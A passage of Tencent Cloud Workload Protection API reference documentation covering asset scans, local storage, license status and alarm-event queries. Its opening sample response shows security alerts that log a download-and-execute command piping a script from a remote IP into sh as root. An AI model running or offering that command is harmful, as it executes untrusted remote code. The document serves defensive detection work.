"Content": "{\"create_time\":\"2022-07-01 10:07:04 +0800 CST\",\"hostip\":\"172.16.0.49\",\"rule_name\":\"1003.Malicious commands - download & execute unknown programs\",\"modify_time\":\"0001-01-01 00:00:00 +0000 UTC\",\"rule_level\":\"High-risk\",\"uuid\":\"7168bc08-c1b8-11ea-9053-48fd8e5f474c\",\"platform\":\"Linux64\",\"appid\":\"1256299843\",\"cls_event_type\":\"bash\",\"exec_time\":\"2022-07-01 10:07:01 +0800 CST\",\"id\":\"3141558\",\"bash_cmd\":\"/bin/sh -c curl 43.129.65.101/1.sh|sh\",\"user\":\"0:0\",\"event_status\":\"create\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",

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```
"TimeStamp": 1656641280000
},
{
"Content": "{\"create_time\":\"2022-07-01 10:05:04 +0800 CST\",\"hostip\":\"172.16.0.49\",\"rule_name\":\"1003.Malicious commands - download & execute unknown programs\",\"modify_time\":\"0001-01-01 00:00:00 +0000 UTC\",\"rule_level\":\"High-risk\",\"uuid\":\"7168bc08-c1b8-11ea-9053-48fd8e5f474c\",\"platform\":\"Linux64 \",\"appid\":\"1256299843\",\"cls_event_type\":\"bash\",\"exec_time\":\"2022-07-01 10:05:01 +0800 CST\",\"id\":\"3141557\",\"bash_cmd\":\"/bin/sh -c curl 43.129.65.101/1.sh|sh\",\"user\":\"0:0\",\"event_status\":\"create\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641160000
},
{
"Content": "{\"create_time\":\"2022-07-01 10:04:05 +0800 CST\",\"hostip\":\"172.16.0.49\",\"rule_name\":\"1003.Malicious commands - download & execute unknown programs\",\"modify_time\":\"0001-01-01 00:00:00 +0000 UTC\",\"rule_level\":\"High-risk\",\"uuid\":\"7168bc08-c1b8-11ea-9053-48fd8e5f474c\",\"platform\":\"Linux64 \",\"appid\":\"1256299843\",\"cls_event_type\":\"bash\",\"exec_time\":\"2022-07-01 10:04:01 +0800 CST\",\"id\":\"3141556\",\"bash_cmd\":\"/bin/sh -c curl 43.129.65.101/1.sh|sh\",\"user\":\"0:0\",\"event_status\":\"create\",\"status\":\"Pending\"}",
"FileName": "",
"Source": "30.46.128.22",
"TimeStamp": 1656641160000
}
],
"ListOver": true,
"RequestId": "e6bb2f6d-10b3-40fd-b3a4-630dbdf477c3"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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StopAssetScan

Last updated：2024-12-06 15:40:01

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to stop the asset scan task.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: StopAssetScan.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskId	Yes	Integer	Task ID

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: StopAssetScan
<Common request parameters>

{
"TaskId": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "g54f4ac3-8546-4516-8c8a-69e3ab73aa80"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
AuthFailure	CAM signature/authentication error.
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.

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ClearLocalStorage

Last updated：2024-12-06 15:40:48

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to clean up the locally stored data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ClearLocalStorage.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Example

Clear the locally stored data.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ClearLocalStorage
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "bf93077b-51f5-4428-b9de-7e33a0b9cc4a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeLicenseWhiteConfig

Last updated：2024-12-06 15:40:37

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the available configurations for authorization allowlists.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLicenseWhiteConfig.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
RuleName	Yes	String	Rule name. For example, cwp.

3. Output Parameters

Parameter Name	Type	Description
FlagShip	VersionWhiteConfig	Ultimate Edition configuration information

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Professional	VersionWhiteConfig	Pro Edition configuration information
PrattWhitney	VersionWhiteConfig	Inclusive Edition configuration information
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to query whether trial configurations exist.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLicenseWhiteConfig
<Common request parameters>

{
"RuleName": "cwp"
}
```

Output Example

```
{
"Response": {
"FlagShip": {
"Deadline": 7,
"IsApplyFor": true,
"LicenseNum": 10,
"SourceType": 1
},
"PrattWhitney": {
"Deadline": 0,
"IsApplyFor": false,
"LicenseNum": 0,
"SourceType": 0
},
"Professional": {
```

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```
"Deadline": 7,
"IsApplyFor": false,
"LicenseNum": 10,
"SourceType": 1
},
"RequestId": "5ebd92e8-9873-4b4c-a26a-7f43048d42d2"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
ResourceNotFound	The resource does not exist.

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DescribeProductStatus

Last updated：2024-12-06 15:40:32

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the product trial status.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeProductStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
ReturnCode	Integer	API call response status code
ReturnMsg	String	API call response information

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Data	ProductStatusInfo	Protection status and trial information
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you the API for the product trial status query.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeProductStatus
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"ReturnCode": 1,
"ReturnMsg": "msg",
"Data": {
"FWUserStatus": 1,
"CanApplyTrial": true,
"CanNotApplyReason": "reason",
"LastTrialTime": " 2019-12-25 11:57:15"
},
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116"
}
}
```

5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for Go
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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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GetLocalStorageItem

Last updated：2024-12-06 15:40:11

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the locally stored data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: GetLocalStorageItem.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Key	Yes	String	Key

3. Output Parameters

Parameter Name	Type	Description
Value	String	Value

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to obtain the local storage data.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: GetLocalStorageItem
<Common request parameters>

{
"Key": "xxx"
}
```

Output Example

```
{
"Response": {
"RequestId": "bf93077b-51f5-4428-b9de-7e33a0b9cc4a",
"Value": "value"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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KeysLocalStorage

Last updated：2024-12-06 15:40:11

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of locally stored key values.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: KeysLocalStorage.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Keys	Array of String	Key List Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Obtain Local Storage Key-Value List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: KeysLocalStorage
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"Keys": [
"CHECK_BASELINE_G****"
],
"RequestId": "522d7714-ef53-4940-b0ed-46d59a3cf0fd"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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RemoveLocalStorageItem

Last updated：2024-12-06 15:40:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the locally stored data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: RemoveLocalStorageItem.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Key	Yes	String	Key

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to delete the volume data.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: RemoveLocalStorageItem
<Common request parameters>

{
"Key": "xxx"
}
```

Output Example

```
{
"Response": {
"RequestId": "bf93077b-51f5-4428-b9de-7e33a0b9cc4a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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SetLocalStorageExpire

Last updated：2024-12-06 15:40:02

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to set the expiration time of the locally stored data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: SetLocalStorageExpire.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Key	Yes	String	Key
Expire	Yes	Integer	Expiration time (unit: second)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Set Local Storage Expiration Time

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: SetLocalStorageExpire
<Common request parameters>

{
"Key": "xxx",
"Expire": 5
}
```

Output Example

```
{
"Response": {
"RequestId": "bf93077b-51f5-4428-b9de-7e33a0b9cc4a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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SetLocalStorageItem

Last updated：2024-12-06 15:40:02

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to set the locally stored data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: SetLocalStorageItem.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Key	Yes	String	Key
Value	Yes	String	Value
Expire	No	Integer	Expiration time (unit: second)

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Set the locally stored data.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: SetLocalStorageItem
<Common request parameters>

{
"Expire": 5,
"Value": "xx",
"Key": "xx"
}
```

Output Example

```
{
"Response": {
"RequestId": "bf93077b-51f5-4428-b9de-7e33a0b9cc4a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeVulTrend

Last updated：2024-12-06 15:40:15

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain information of the vulnerability situation.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVulTrend.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
VulEventCount	Integer	Number of vulnerability exploitation attacks in the past six months
IncreaseVulEventCount	Integer	Number of new vulnerability exploitation attacks in the past six months
HotVulCount	Integer	Notable vulnerabilities attacked in the past six months
IncreaseHotVulCount	Integer	New notable vulnerabilities attacked in the past six months

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Vulnerability Situation Information

This example shows you how to obtain the vulnerability situation information.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVulTrend
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"VulEventCount": 1,
"IncreaseVulEventCount": 1,
"HotVulCount": 1,
"IncreaseHotVulCount": 1,
"RequestId": "d73d4495-1895-43a8-95be-f447b02e253d"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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ExportScanTaskDetails

Last updated：2024-12-06 15:40:13

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the specified scan task details by task ID.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportScanTaskDetails.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskId	Yes	Integer	Task ID for this detection (different from the ID of the task for exporting the detection Excel file in the input parameters)
ModuleType	Yes	String	Module type. Malware: Trojan; Vul: vulnerability; Baseline: baseline.
Filters.N	No	Array of Filters	Filter parameter: ipOrAlias (server name/IP address)

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3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, which is used to obtain the download URL (DownloadUrl) by using the asynchronous task export API ExportTasks. (This ID differs from the detection task ID in the input parameters.)
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Scan Task Details

This example shows you how to export scan task details.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportScanTaskDetails
<Common request parameters>

{
"ModuleType": "abc",
"TaskId": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TaskId": "1615549629"
}
}
```

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAlarmIncidentNodes

Last updated：2024-12-06 15:40:43

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain all node information on the event corresponding to an alarm.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAlarmIncidentNodes.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	Yes	String	Machine UUID
AlarmVid	Yes	String	Alarm VID
AlarmTime	Yes	Integer	Alarm time
TableId	No	Integer	Alarm source table ID

3. Output Parameters

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Parameter Name	Type	Description
IncidentNodes	Array of IncidentVertexInfo	All node information on the event corresponding to an alarm. Multiple events may be involved. Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to obtain all node information of the event where the alarm point is located.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAlarmIncidentNodes
<Common request parameters>

{
"Uuid": "abc",
"AlarmVid": "abc",
"AlarmTime": 0
}
```

Output Example

```
{
"Response": {
"IncidentNodes": [
{
"IncidentId": "xxxx-xx-xx-xxxx",
"TableName": "events_bash",
"Vertex": [
{
"Type": 0,
```

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```
"Vid": "23eeeb4347bdd26bfc6b7ee9a3b755dd",
"ParentVid": "23eeeb4347bdd26bfc6b7ee9a3b755dd",
"IsLeaf": true,
"ProcNamePrefix": "python",
"ProcNameMd5": "23eeeb4347bdd26bfc6b7ee9a3b755dd",
"CmdLinePrefix": "python",
"CmdLineMd5": "23eeeb4347bdd26bfc6b7ee9a3b755dd",
"FilePathPrefix": "/root",
"AddressPrefix": "/root",
"IsWeDetect": true,
"IsAlarm": true,
"FilePathMd5": "887904812217cca9bc2b9adb875daf42",
"AddressMd5": "887904812217cca9bc2b9adb875daf42"
}
],
"VertexCount": 0
}
],
"RequestId": "xxxxxxxx-1234-5678-9101-yyyyyyyyyy"
}
}
```


5. Developer Resources

SDK

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6. Error Code

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There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeAlarmVertexId

Last updated：2024-12-06 15:40:42

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of alarm IDs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAlarmVertexId.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	Yes	String	Machine UUID
StartTime	Yes	Integer	Start timestamp
EndTime	Yes	Integer	End timestamp

3. Output Parameters

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Parameter Name	Type	Description
AlarmVertexIds	Array of String	List of alarm IDs Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to obtain all alarm vids within the time range.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAlarmVertexId
<Common request parameters>

{
"Uuid": "abc",
"StartTime": 0,
"EndTime": 0
}
```

Output Example

```
{
"Response": {
"AlarmVertexIds": [
"23eeeb4347bdd26bfc6b7ee9a3b755dd"
],
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116"
}
}
```

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5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeEventByTable

Last updated：2024-12-06 15:40:39

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query alarm event details based on event table names and IDs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeEventByTable.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TableName	Yes	String	Event table name
Ids.N	Yes	Array of Integer	Event table ID

3. Output Parameters

Parameter	Type	Description

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Name		
Type	String	Alarm type. Bruteattack: brute force cracking; bash: high-risk command; malware: malicious file; risk_dns: malicious request; privilege_escalation: local privilege escalation; reverse_shell: reverse shell; java_shell: Java webshell.
Value	String	JSON string of the event content. The field structure is the same as that of the event table.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to query alarm event details based on event table name and ID.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeEventByTable
<Common request parameters>

{
"TableName": "abc",
"Ids": [
0
]
}
```

Output Example

```
{
"Response": {
"Type": "bash",
"Value": "value",
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116"
}
}
```

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5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeProVersionStatus

Last updated：2024-12-06 15:40:32

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to check whether a single host or all hosts enable the professional version.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeProVersionStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	Yes	String	CWPP client UUID. If the value is all, it indicates all hosts.

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the

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		request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Pro Edition Status

This example shows you how to obtain the Pro Edition status of a single host/all hosts.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeProVersionStatus
&Uuid=add4a78a-0d59-11e8-b7ab-00e081e1a5c5
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "454fbac3-8546-4c16-8c1a-69x3ab73ba3b"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeVertexDetail

Last updated：2025-03-11 22:59:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the attribute information of the specified point.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeVertexDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
VertexIds.N	Yes	Array of String	Point ID list
IncidentId	Yes	String	Event ID
TableName	Yes	String	The name of the table where the event occurred

3. Output Parameters

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Parameter Name	Type	Description
VertexDetails	Array of VertexDetail	Attribute information of specified point list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

This example shows you how to get specified point attribute information.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeVertexDetail
<Common request parameters>

{
"VertexIds": [
"abc"
],
"IncidentId": "abc",
"TableName": "abc"
}
```

Output Example

```
{
